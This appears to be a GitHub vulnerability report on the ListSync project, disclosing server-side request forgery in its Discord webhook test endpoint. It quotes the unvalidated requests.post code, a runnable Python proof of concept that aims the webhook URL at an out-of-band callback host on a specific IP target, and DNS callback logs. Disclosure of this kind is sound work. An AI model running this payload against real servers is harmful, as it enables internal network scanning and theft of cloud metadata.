-
-
Notifications
You must be signed in to change notification settings - Fork 15
Open
Description
π Bug Description
Summary
The POST /api/notifications/test endpoint accepts a user-supplied webhook_url in the request body and passes it directly to requests.post() (or DiscordWebhook) without any URL validation or allowlist check. An attacker sends a crafted JSON payload with webhook_url pointing to an attacker-controlled server. The application issues an outbound HTTP request to that URL, confirmed by DNS callback hits from the server's IP. This SSRF can be used for internal network scanning, cloud metadata exfiltration (e.g. AWS IMDSv1), or port probing.
Details
- SOURCE
// list-sync-main/api_server.py#L6858C1-L6968C99
6858βasync def test_discord_notification(payload: dict = None):
6859β """Send a test Discord notification to verify webhook configuration"""
6860β try:
6861β # Get Discord webhook URL from request body or environment
6862β webhook_url = None
6863β if payload and 'webhook_url' in payload:
6864β webhook_url = payload['webhook_url']
6865β
6866β if not webhook_url:
6867β webhook_url = os.getenv('DISCORD_WEBHOOK_URL', '')
6868β
6869β if not webhook_url:
6870β raise HTTPException(
6871β status_code=400,
6872β detail="Discord webhook URL is required. Please provide a webhook URL or set DISCORD_WEBHOOK_URL in your environment variables."
6873β )
6874β
6875β # Try to use the discord-webhook library if available
6876β try:
6877β from discord_webhook import DiscordWebhook, DiscordEmbed
6878β from datetime import datetime
6879β
6880β # Create webhook instance - explicitly set content to None to avoid duplicate messages
6881β webhook = DiscordWebhook(url=webhook_url, username="ListSync Test", content=None)
6882β
6883β # Create embed with test message
6884β current_time = datetime.now().strftime("%Y-%m-%d %H:%M:%S")
6885β embed = DiscordEmbed(
6886β title="π§ͺ Discord Integration Test",
6887β description="If you see this message, Discord notifications are working correctly! β
",
6888β color=10181046 # Purple color
6889β )
6890β
6891β embed.add_embed_field(
6892β name="Test Time",
6893β value=current_time,
6894β inline=True
6895β )
6896β
6897β embed.add_embed_field(
6898β name="Status",
6899β value="β
Connected",
6900β inline=True
6901β )
6902β
6903β embed.set_footer(text="ListSync Notification System")
6904β embed.set_timestamp()
6905β
6906β # Add embed to webhook (only embed, no content)
6907β webhook.add_embed(embed)
6908β
6909β # Send webhook
6910β response = webhook.execute()
6911β
6912β return {
6913β "success": True,
6914β "message": "Test notification sent successfully! Check your Discord channel.",
6915β "timestamp": current_time
6916β }
6917β
6918β except ImportError:
6919β # Fallback to using requests directly
6920β from datetime import datetime
6921β current_time = datetime.now().strftime("%Y-%m-%d %H:%M:%S")
6922β
6923β # Only send embed, no content to avoid duplicate messages
6924β payload = {
6925β "embeds": [{
6926β "title": "π§ͺ Discord Integration Test",
6927β "description": "If you see this message, Discord notifications are working correctly! β
",
6928β "color": 10181046,
6929β "fields": [
6930β {
6931β "name": "Test Time",
6932β "value": current_time,
6933β "inline": True
6934β },
6935β {
6936β "name": "Status",
6937β "value": "β
Connected",
6938β "inline": True
6939β }
6940β ],
6941β "footer": {
6942β "text": "ListSync Notification System"
6943β },
6944β "timestamp": datetime.utcnow().isoformat()
6945β }]
6946β }
6947β
6948β response = requests.post(webhook_url, json=payload, timeout=10)
6949β response.raise_for_status()
6950β
6951β return {
6952β "success": True,
6953β "message": "Test notification sent successfully! Check your Discord channel.",
6954β "timestamp": current_time
6955β }
6956β
6957β except requests.exceptions.Timeout:
6958β raise HTTPException(status_code=504, detail="Discord webhook request timed out")
6959β except requests.exceptions.RequestException as e:
6960β error_msg = f"Failed to send Discord notification: {str(e)}"
6961β if hasattr(e, 'response') and e.response is not None:
6962β error_msg += f" (Status: {e.response.status_code})"
6963β raise HTTPException(status_code=500, detail=error_msg)
6964β except Exception as e:
6965β import traceback
6966β error_detail = f"Failed to send test notification: {str(e)}\n{traceback.format_exc()}"
6967β logging.error(error_detail)
6968β raise HTTPException(status_code=500, detail=f"Failed to send test notification: {str(e)}")
- SINK
// list-sync-main/api_server.py#L6858C1-L6968C99
6858βasync def test_discord_notification(payload: dict = None):
6859β """Send a test Discord notification to verify webhook configuration"""
6860β try:
6861β # Get Discord webhook URL from request body or environment
6862β webhook_url = None
6863β if payload and 'webhook_url' in payload:
6864β webhook_url = payload['webhook_url']
6865β
6866β if not webhook_url:
6867β webhook_url = os.getenv('DISCORD_WEBHOOK_URL', '')
6868β
6869β if not webhook_url:
6870β raise HTTPException(
6871β status_code=400,
6872β detail="Discord webhook URL is required. Please provide a webhook URL or set DISCORD_WEBHOOK_URL in your environment variables."
6873β )
6874β
6875β # Try to use the discord-webhook library if available
6876β try:
6877β from discord_webhook import DiscordWebhook, DiscordEmbed
6878β from datetime import datetime
6879β
6880β # Create webhook instance - explicitly set content to None to avoid duplicate messages
6881β webhook = DiscordWebhook(url=webhook_url, username="ListSync Test", content=None)
6882β
6883β # Create embed with test message
6884β current_time = datetime.now().strftime("%Y-%m-%d %H:%M:%S")
6885β embed = DiscordEmbed(
6886β title="π§ͺ Discord Integration Test",
6887β description="If you see this message, Discord notifications are working correctly! β
",
6888β color=10181046 # Purple color
6889β )
6890β
6891β embed.add_embed_field(
6892β name="Test Time",
6893β value=current_time,
6894β inline=True
6895β )
6896β
6897β embed.add_embed_field(
6898β name="Status",
6899β value="β
Connected",
6900β inline=True
6901β )
6902β
6903β embed.set_footer(text="ListSync Notification System")
6904β embed.set_timestamp()
6905β
6906β # Add embed to webhook (only embed, no content)
6907β webhook.add_embed(embed)
6908β
6909β # Send webhook
6910β response = webhook.execute()
6911β
6912β return {
6913β "success": True,
6914β "message": "Test notification sent successfully! Check your Discord channel.",
6915β "timestamp": current_time
6916β }
6917β
6918β except ImportError:
6919β # Fallback to using requests directly
6920β from datetime import datetime
6921β current_time = datetime.now().strftime("%Y-%m-%d %H:%M:%S")
6922β
6923β # Only send embed, no content to avoid duplicate messages
6924β payload = {
6925β "embeds": [{
6926β "title": "π§ͺ Discord Integration Test",
6927β "description": "If you see this message, Discord notifications are working correctly! β
",
6928β "color": 10181046,
6929β "fields": [
6930β {
6931β "name": "Test Time",
6932β "value": current_time,
6933β "inline": True
6934β },
6935β {
6936β "name": "Status",
6937β "value": "β
Connected",
6938β "inline": True
6939β }
6940β ],
6941β "footer": {
6942β "text": "ListSync Notification System"
6943β },
6944β "timestamp": datetime.utcnow().isoformat()
6945β }]
6946β }
6947β
6948β response = requests.post(webhook_url, json=payload, timeout=10)
6949β response.raise_for_status()
6950β
6951β return {
6952β "success": True,
6953β "message": "Test notification sent successfully! Check your Discord channel.",
6954β "timestamp": current_time
6955β }
6956β
6957β except requests.exceptions.Timeout:
6958β raise HTTPException(status_code=504, detail="Discord webhook request timed out")
6959β except requests.exceptions.RequestException as e:
6960β error_msg = f"Failed to send Discord notification: {str(e)}"
6961β if hasattr(e, 'response') and e.response is not None:
6962β error_msg += f" (Status: {e.response.status_code})"
6963β raise HTTPException(status_code=500, detail=error_msg)
6964β except Exception as e:
6965β import traceback
6966β error_detail = f"Failed to send test notification: {str(e)}\n{traceback.format_exc()}"
6967β logging.error(error_detail)
6968β raise HTTPException(status_code=500, detail=f"Failed to send test notification: {str(e)}")
POC
import re
import requests
from requests.sessions import Session
from urllib.parse import urlparse
def match_api_pattern(pattern, path) -> bool:
"""
Match an API endpoint pattern with a given path.
This function supports multiple path parameter syntaxes used by different web frameworks:
- Curly braces: '/users/{id}' (OpenAPI, Flask, Django)
- Angle brackets: '/users/<int:id>' (Flask with converters)
- Colon syntax: '/users/:id' (Express, Koa, Sinatra)
- Regex patterns: '/users/{id:[0-9]+}' (Spring, JAX-RS)
Note: This function performs structural matching only and doesn't validate param types or regex constraints.
Args:
pattern (str): The endpoint pattern with parameter placeholders
path (str): The actual path to match
Returns:
bool: True if the path structurally matches the pattern, otherwise False
"""
pattern = pattern.strip() or '/'
path = path.strip() or '/'
if pattern == path:
return True
# Replace various parameter syntaxes with regex pattern [^/]+ (one or more non-slash characters)
# Support for {param} and {param:regex} syntax (OpenAPI, Spring, JAX-RS)
pattern = re.sub(r'\{[\w:()\[\].\-\\+*]+}', r'[^/]+', pattern)
# Support for <param> and <type:param> syntax (Flask with converters)
pattern = re.sub(r'<[\w:()\[\].\-\\+*]+>', r'[^/]+', pattern)
# Support for :param syntax (Express, Koa, Sinatra)
pattern = re.sub(r':[\w:()\[\].\-\\+*]+', r'[^/]+', pattern)
# Add start and end anchors to ensure full match
pattern = f'^{pattern}$'
match = re.match(pattern, path)
if match:
return True
return False
class CustomSession(Session):
def request(
self,
method,
url,
params = None,
data = None,
headers = None,
cookies = None,
files = None,
auth = None,
timeout = None,
allow_redirects = True,
proxies = None,
hooks = None,
stream = None,
verify = None,
cert = None,
json = None,
):
if match_api_pattern('/api/notifications/test', urlparse(url).path):
headers = headers or {}
headers.update({'User-Agent': 'oxpecker'})
timeout = 30
else:
headers = headers or {}
headers.update({'User-Agent': 'oxpecker'})
timeout = 30
return super().request(
method=method,
url=url,
params=params,
data=data,
headers=headers,
cookies=cookies,
files=files,
auth=auth,
timeout=timeout,
allow_redirects=allow_redirects,
proxies=proxies,
hooks=hooks,
stream=stream,
verify=verify,
cert=cert,
json=json,
)
requests.Session = CustomSession
requests.sessions.Session = CustomSession
# ********************************* Poc Start **********************************
import requests
# Define the target URL and endpoint
target_url = "http://34.127.19.15:41670/api/notifications/test"
# Set up the OOB URL for testing
oob_url = '$domain:443'
# Craft the payload with the malicious webhook URL
payload = {
"webhook_url": f"http://{oob_url}/"
}
# Configure the request parameters
headers = {
"Content-Type": "application/json"
}
# Send the POST request to test the SSRF vulnerability
response = requests.post(
url=target_url,
headers=headers,
json=payload,
verify=False,
allow_redirects=False,
timeout=30.0
)
# Print the results
print(f"Status Code: {response.status_code}")
print(f"Response Text: {response.text}")
# ********************************** Poc End ***********************************
- OUTPUT
Sandbox Execution Cancelled
++++++++++++++++++++++++++++++++++++ Dnslog ++++++++++++++++++++++++++++++++++++
Request was made from IP: 172.217.46.16, 69.28.61.220, 69.28.61.221
++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
π Expected Behavior
access to trusted URLs
β Actual Behavior
This SSRF can be used for internal network scanning, cloud metadata exfiltration (e.g. AWS IMDSv1), or port probing.
π Steps to Reproduce
please check the POC
π» Operating System
Ubuntu
π§ Installation Method
Docker
π¨ Error Messages
π οΈ Affected Areas
- Synchronization
- User Interface
- Data Processing
- Configuration
- Performance
- Other (specify in additional context)
π Relevant Log Entries
βοΈ Configuration
π Additional Context
No response
Reactions are currently unavailable
Metadata
Metadata
Assignees
Labels
No labels